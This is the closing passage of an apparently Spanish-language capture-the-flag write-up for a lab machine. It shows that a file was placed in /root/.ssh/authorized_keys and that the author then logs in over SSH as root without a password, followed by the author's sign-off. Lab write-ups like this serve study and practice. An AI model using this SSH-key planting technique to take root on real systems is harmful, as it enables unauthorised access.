Bien, un vistazo rápido a nuestro archivo dir_root:

luis@seal:/tmp/tessst$ cat dir_root 
...
/root/.ssh
/root/.ssh/authorized_keys

Carpeta creada y archivo creado 🙌

Y ahora como prueba final debemos conectarnos contra el usuario root utilizando SSH, no nos debería pedir contraseña y tendríamos una Shell:

❱ ssh root@10.10.10.250

PEEEEEEEEEEEEEERFECTOOOOOOOOOOOOOO, obtenemos nuestra Shell como root (:

Ya podríamos ver las flags…

Y tamoooos.

Bastaaaante interesante el camino de tomcat a root. Muuy divertido y original (o pues yo no lo había visto).

Hasta acá nos ha traído este writeup, nos leeremos después, peeeero seguiremos rompiendo de todooooooooooooooo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus